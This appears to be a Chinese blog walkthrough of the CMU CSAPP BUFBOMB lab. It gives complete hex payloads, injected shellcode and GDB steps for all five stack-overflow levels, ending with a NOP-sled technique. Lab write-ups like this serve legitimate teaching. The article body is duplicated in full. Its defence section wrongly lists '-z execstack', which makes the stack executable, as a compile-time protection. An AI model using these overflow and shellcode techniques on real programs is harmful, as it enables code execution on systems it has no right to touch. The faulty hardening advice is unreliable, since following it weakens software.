逆向工程实战用GDB与Objdump攻破BUFBOMB的五重关卡环境准备与工具链配置工欲善其事必先利其器。在开始破解BUFBOMB之前我们需要搭建一个稳定的Linux调试环境。推荐使用Ubuntu 20.04 LTS或更新版本这个发行版对开发工具的支持最为完善。以下是必备工具清单GDB增强版安装gdb基础包后强烈建议添加gef或pwndbg插件它们能可视化显示寄存器状态和内存布局编译工具链gcc-multilib和g-multilib包用于处理32位程序反汇编工具objdump和readelf系统通常已预装辅助工具xxd十六进制查看、strace系统调用跟踪配置GDB的.gdbinit文件时建议加入以下参数set disassembly-flavor intel set print asm-demangle on set follow-fork-mode child理解缓冲区溢出的底层机制栈帧结构与函数调用约定在x86架构中每个函数的调用都会在栈上创建一个帧结构。以典型的getbuf函数为例其栈帧布局如下内存地址内容说明0xffffd0ac返回地址test函数中call的下一条指令0xffffd0a8旧的ebp值调用者的栈帧基址0xffffd0a4局部变量和缓冲区40字节的buf数组.........当使用gets等不安全函数向buf写入超长数据时数据会越过数组边界覆盖上方的ebp和返回地址这就是缓冲区溢出的基本原理。关键寄存器的作用EIP指令指针存储下一条要执行的指令地址ESP栈指针始终指向栈顶EBP基址指针标记当前栈帧的底部在GDB中查看寄存器状态的命令info registers x/20x $esp # 查看栈顶20个字节第一阶段Smoke攻击实战定位关键函数地址首先使用objdump生成反汇编代码objdump -d bufbomb bufbomb.asm在生成的汇编文件中搜索smoke和getbuf函数08048c18 smoke: 8048c18: 55 push %ebp 8048c19: 89 e5 mov %esp,%ebp 8048c21: 83 ec 08 sub $0x8,%esp 8048c24: c7 04 24 18 8d 04 08 movl $0x8048d18,(%esp)这里0x08048c18就是smoke函数的入口地址。构造攻击载荷计算需要填充的字节数buf数组大小40字节0x28旧的ebp值4字节返回地址4字节因此攻击字符串结构为[40字节填充] [4字节任意值] [smoke地址]对应的十六进制payload文件attack1.txt00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 8c 04 08验证攻击使用hex2raw工具转换后执行cat attack1.txt | ./hex2raw | ./bufbomb -u yourID提示如果hex2raw不可用可以用Python替代import sys with open(attack1.txt) as f: data f.read().replace(\n, ) bytes [int(x,16) for x in data.split() if x] sys.stdout.buffer.write(bytearray(bytes))第二阶段Fizz攻击进阶理解函数参数传递在32位系统中函数参数通过栈传递。fizz函数的原型是void fizz(int val)因此攻击时需要覆盖返回地址为fizz的地址在返回地址上方放置正确的参数cookie值获取cookie值运行程序提供的工具生成唯一cookie./makecookie yourID假设输出为0x1d228b91。构造二级攻击载荷payload结构[40字节填充] [4字节任意值] [fizz地址] [4字节填充] [cookie值]对应的attack2.txt00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 42 8c 04 08 00 00 00 00 91 8b 22 1d调试技巧在GDB中设置断点观察参数传递break *0x08048c42 # fizz函数入口 run attack2.raw x/4x $esp8 # 查看第一个参数第三阶段Bang与代码注入全局变量定位使用objdump查找全局变量地址0804d100 global_value: 804d100: 00 00 00 00 00 00 00 00编写Shellcode需要汇编代码实现将cookie存入global_value跳转到bang函数bang_qbw.s文件内容movl $0x1d228b91, 0x804d100 push $0x8048c9d ret编译并提取机器码gcc -m32 -c bang_qbw.s objdump -d bang_qbw.o确定注入地址在getbuf函数中设置断点查看buf的起始地址break getbuf run -u yourID print $ebp-0x28假设输出为0x55683dc8则最终payload结构[shellcode] [填充至40字节] [4字节任意值] [shellcode地址]第四阶段Boom与栈修复保持栈平衡攻击需要设置eax为cookie值正确返回到test函数恢复原始的ebp值关键汇编代码mov $0x1d228b91, %eax push $0x8048dbe ret动态获取栈地址在test函数调用getbuf后中断查看栈状态break *0x08048db9 # call getbuf continue x/4x $esp第五阶段Nitro与地址随机化对抗NOP雪橇技术由于栈地址随机化我们采用NOP sled增大命中概率[大量0x90(NOP)] [shellcode] [重复的返回地址]确定地址范围通过多次运行获取栈地址样本for i in {1..10}; do gdb -q -ex break getbufn -ex run -n -u yourID -ex print \$ebp-0x208 -ex quit bufbomb | grep 0x; done选择最大的地址作为返回地址确保NOP sled能够覆盖。调试技巧与问题排查常见错误处理Segmentation fault检查返回地址是否正确确认栈没有执行保护使用checksec命令攻击无效在GDB中单步执行观察程序流检查payload是否被正确转换栈对齐问题确保shellcode保持4字节对齐在关键指令后添加nop保证对齐高级GDB命令watch *0x08048c18 # 监视smoke函数入口 x/20i $eip # 查看当前指令附近20条指令 info frame # 显示当前栈帧信息安全启示与防御措施虽然我们成功实施了缓冲区溢出攻击但在实际开发中应该使用安全的替代函数fgets代替getsstrncpy代替strcpy启用编译保护gcc -fstack-protector -z execstack -o program program.c系统级防护启用ASLR地址空间布局随机化设置NX位数据段不可执行通过这个实验我们不仅掌握了攻击技术更重要的是理解了系统底层的运行机制这有助于我们编写更安全的代码。记住真正的安全专家既要知道如何攻击更要懂得如何防御。
从CSAPP实验到实战:手把手教你用GDB和Objdump破解CMU的BUFBOMB靶场(含5个Level完整Payload)
发布时间:2026/6/11 10:58:45
逆向工程实战用GDB与Objdump攻破BUFBOMB的五重关卡环境准备与工具链配置工欲善其事必先利其器。在开始破解BUFBOMB之前我们需要搭建一个稳定的Linux调试环境。推荐使用Ubuntu 20.04 LTS或更新版本这个发行版对开发工具的支持最为完善。以下是必备工具清单GDB增强版安装gdb基础包后强烈建议添加gef或pwndbg插件它们能可视化显示寄存器状态和内存布局编译工具链gcc-multilib和g-multilib包用于处理32位程序反汇编工具objdump和readelf系统通常已预装辅助工具xxd十六进制查看、strace系统调用跟踪配置GDB的.gdbinit文件时建议加入以下参数set disassembly-flavor intel set print asm-demangle on set follow-fork-mode child理解缓冲区溢出的底层机制栈帧结构与函数调用约定在x86架构中每个函数的调用都会在栈上创建一个帧结构。以典型的getbuf函数为例其栈帧布局如下内存地址内容说明0xffffd0ac返回地址test函数中call的下一条指令0xffffd0a8旧的ebp值调用者的栈帧基址0xffffd0a4局部变量和缓冲区40字节的buf数组.........当使用gets等不安全函数向buf写入超长数据时数据会越过数组边界覆盖上方的ebp和返回地址这就是缓冲区溢出的基本原理。关键寄存器的作用EIP指令指针存储下一条要执行的指令地址ESP栈指针始终指向栈顶EBP基址指针标记当前栈帧的底部在GDB中查看寄存器状态的命令info registers x/20x $esp # 查看栈顶20个字节第一阶段Smoke攻击实战定位关键函数地址首先使用objdump生成反汇编代码objdump -d bufbomb bufbomb.asm在生成的汇编文件中搜索smoke和getbuf函数08048c18 smoke: 8048c18: 55 push %ebp 8048c19: 89 e5 mov %esp,%ebp 8048c21: 83 ec 08 sub $0x8,%esp 8048c24: c7 04 24 18 8d 04 08 movl $0x8048d18,(%esp)这里0x08048c18就是smoke函数的入口地址。构造攻击载荷计算需要填充的字节数buf数组大小40字节0x28旧的ebp值4字节返回地址4字节因此攻击字符串结构为[40字节填充] [4字节任意值] [smoke地址]对应的十六进制payload文件attack1.txt00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 8c 04 08验证攻击使用hex2raw工具转换后执行cat attack1.txt | ./hex2raw | ./bufbomb -u yourID提示如果hex2raw不可用可以用Python替代import sys with open(attack1.txt) as f: data f.read().replace(\n, ) bytes [int(x,16) for x in data.split() if x] sys.stdout.buffer.write(bytearray(bytes))第二阶段Fizz攻击进阶理解函数参数传递在32位系统中函数参数通过栈传递。fizz函数的原型是void fizz(int val)因此攻击时需要覆盖返回地址为fizz的地址在返回地址上方放置正确的参数cookie值获取cookie值运行程序提供的工具生成唯一cookie./makecookie yourID假设输出为0x1d228b91。构造二级攻击载荷payload结构[40字节填充] [4字节任意值] [fizz地址] [4字节填充] [cookie值]对应的attack2.txt00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 42 8c 04 08 00 00 00 00 91 8b 22 1d调试技巧在GDB中设置断点观察参数传递break *0x08048c42 # fizz函数入口 run attack2.raw x/4x $esp8 # 查看第一个参数第三阶段Bang与代码注入全局变量定位使用objdump查找全局变量地址0804d100 global_value: 804d100: 00 00 00 00 00 00 00 00编写Shellcode需要汇编代码实现将cookie存入global_value跳转到bang函数bang_qbw.s文件内容movl $0x1d228b91, 0x804d100 push $0x8048c9d ret编译并提取机器码gcc -m32 -c bang_qbw.s objdump -d bang_qbw.o确定注入地址在getbuf函数中设置断点查看buf的起始地址break getbuf run -u yourID print $ebp-0x28假设输出为0x55683dc8则最终payload结构[shellcode] [填充至40字节] [4字节任意值] [shellcode地址]第四阶段Boom与栈修复保持栈平衡攻击需要设置eax为cookie值正确返回到test函数恢复原始的ebp值关键汇编代码mov $0x1d228b91, %eax push $0x8048dbe ret动态获取栈地址在test函数调用getbuf后中断查看栈状态break *0x08048db9 # call getbuf continue x/4x $esp第五阶段Nitro与地址随机化对抗NOP雪橇技术由于栈地址随机化我们采用NOP sled增大命中概率[大量0x90(NOP)] [shellcode] [重复的返回地址]确定地址范围通过多次运行获取栈地址样本for i in {1..10}; do gdb -q -ex break getbufn -ex run -n -u yourID -ex print \$ebp-0x208 -ex quit bufbomb | grep 0x; done选择最大的地址作为返回地址确保NOP sled能够覆盖。调试技巧与问题排查常见错误处理Segmentation fault检查返回地址是否正确确认栈没有执行保护使用checksec命令攻击无效在GDB中单步执行观察程序流检查payload是否被正确转换栈对齐问题确保shellcode保持4字节对齐在关键指令后添加nop保证对齐高级GDB命令watch *0x08048c18 # 监视smoke函数入口 x/20i $eip # 查看当前指令附近20条指令 info frame # 显示当前栈帧信息安全启示与防御措施虽然我们成功实施了缓冲区溢出攻击但在实际开发中应该使用安全的替代函数fgets代替getsstrncpy代替strcpy启用编译保护gcc -fstack-protector -z execstack -o program program.c系统级防护启用ASLR地址空间布局随机化设置NX位数据段不可执行通过这个实验我们不仅掌握了攻击技术更重要的是理解了系统底层的运行机制这有助于我们编写更安全的代码。记住真正的安全专家既要知道如何攻击更要懂得如何防御。